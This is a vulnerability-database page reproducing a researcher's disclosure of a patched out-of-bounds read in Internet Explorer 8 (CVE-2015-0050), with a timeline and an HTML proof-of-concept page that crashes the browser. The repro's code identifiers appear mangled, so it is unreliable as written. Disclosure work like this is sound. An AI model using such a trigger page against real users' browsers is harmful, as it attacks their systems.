Vulners
Lucene search
Microsoft Internet Explorer 8 8 MSHTML SRunPointer::SpanQualifier/RunType Out-Of-Bounds Read
| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
 | Microsoft Internet Explorer 8 MSHTML - SRunPointer::SpanQualifier/RunType Out-Of-Bounds Read (MS1 | 29 Nov 201600:00 | – | zdt |
 | CVE-2015-0050 | 28 Nov 201600:00 | – | circl |
 | Microsoft Internet Explorer Remote Memory Corruption Vulnerability (CNVD-2015-01075) | 11 Feb 201500:00 | – | cnvd |
 | Microsoft Internet Explorer Memory Corruption (MS15-009: CVE-2015-0050) | 10 Feb 201500:00 | – | checkpoint_advisories |
 | CVE-2015-0050 | 11 Feb 201502:00 | – | cve |
 | CVE-2015-0050 | 11 Feb 201502:00 | – | cvelist |
 | MS15-009: Cumulative security update for Internet Explorer: February 10, 2015 | 10 Feb 201500:00 | – | mskb |
 | KLA10475 Code execution vulnerability in Internet Explorer | 10 Feb 201500:00 | – | kaspersky |
 | CVE-2015-0050 | 11 Feb 201503:00 | – | nvd |
 | Microsoft Internet Explorer Multiple Memory Corruption Vulnerabilities (3034682) | 11 Feb 201500:00 | – | openvas |
10
`Throughout November, I plan to release details on vulnerabilities I
found in web-browsers which I've not released before. This is the
sixteenth entry in that series. Unfortunately I won't be able to
publish everything within one month at the current rate, so I may
continue to publish these through December and January.
The below information is available in more detail on my blog at
http://blog.skylined.nl/20161122001.html. There you can find a repro
that triggered this issue in addition to the information below.
Follow me on http://twitter.com/berendjanwever for daily browser bugs.
MSIE 8 MSHTML SRunPointer::SpanQualifier/RunType OOB read
=========================================================
(MS15-009, CVE-2015-0050)
Synopsis
--------
A specially crafted web-page can cause Microsoft Internet Explorer 8 to
attempt to read data beyond the boundaries of a memory allocation. The
issue does not appear to be easily exploitable.
Known affected software, attack vectors and mitigations
-------------------------------------------------------
* Microsoft Internet Explorer 8
An attacker would need to get a target user to open a specially
crafted web-page. Disabling Javascript should prevent an attacker
from triggering the vulnerable code path.
Description
-----------
The issue requires rather complex manipulation of the DOM and results in
reading a value immediately following an object. The lower three bits of
this value are returned by the function doing the reading, resulting in
a return value in the range 0-7. After exhaustively skipping over the
read AV and having that function return each value, no other side
effects were noticed. For that reason I assume this issue is hard if not
impossible to exploit and did not investigate further. It is still
possible that there may be subtle effects that I did not notice that
allow exploitation in some form or other.
Time-line
---------
* *June 2014*: This vulnerability was found through fuzzing.
* *October 2014*: This vulnerability was submitted to ZDI.
* *October 2014*: This vulnerability was rejected by ZDI.
* *November 2014*: This vulnerability was reported to MSRC.
* *February 2015*: This vulnerability was addressed by Microsoft in
MS15-009.
* *November 2016*: Details of this issue are released.
Cheers,
SkyLined
Repro.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=Edge" />
<style>
position_Afixed { position: fixed; }
position_Arelative { position: relative; }
float_Aleft { float: left; }
complex { float: left; width: 100%; }
complex:first-line { clear: left; }
</style>
<script>
window.onload = function boom() {
oAElement_Afloat_Aleft = document.createAElement('float_Aleft');
oAElement_Acomplex = document.createAElement('complex');
oAElement_Aposition_Afixed = document.createAElement('position_Afixed');
oAElement_Aposition_Arelative = document.createAElement('position_Arelative');
oAElement_Atable = document.createAElement('table');
oAElement_Ax = document.createAElement('x');
oATextANode = document.createATextANode('x');
document.documentAElement.appendAChild(oAElement_Afloat_Aleft);
oAElement_Afloat_Aleft.appendAChild(oAElement_Acomplex);
oAElement_Afloat_Aleft.appendAChild(oATextANode);
oAElement_Acomplex.appendAChild(oAElement_Aposition_Afixed);
oAElement_Acomplex.appendAChild(oAElement_Aposition_Arelative);
oAElement_Acomplex.appendAChild(oAElement_Atable);
oAElement_Acomplex.appendAChild(oAElement_Ax);
setATimeout(function() {
oAElement_Ax.setAAttribute('class', 'x');
setATimeout(function() {
alert();
document.write(0);
}, 0);
}, 0);
}
</script>
</head>
</html>
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
23 Nov 2016 00:00Current
0.3Low risk
Vulners AI Score0.3
EPSS0.51421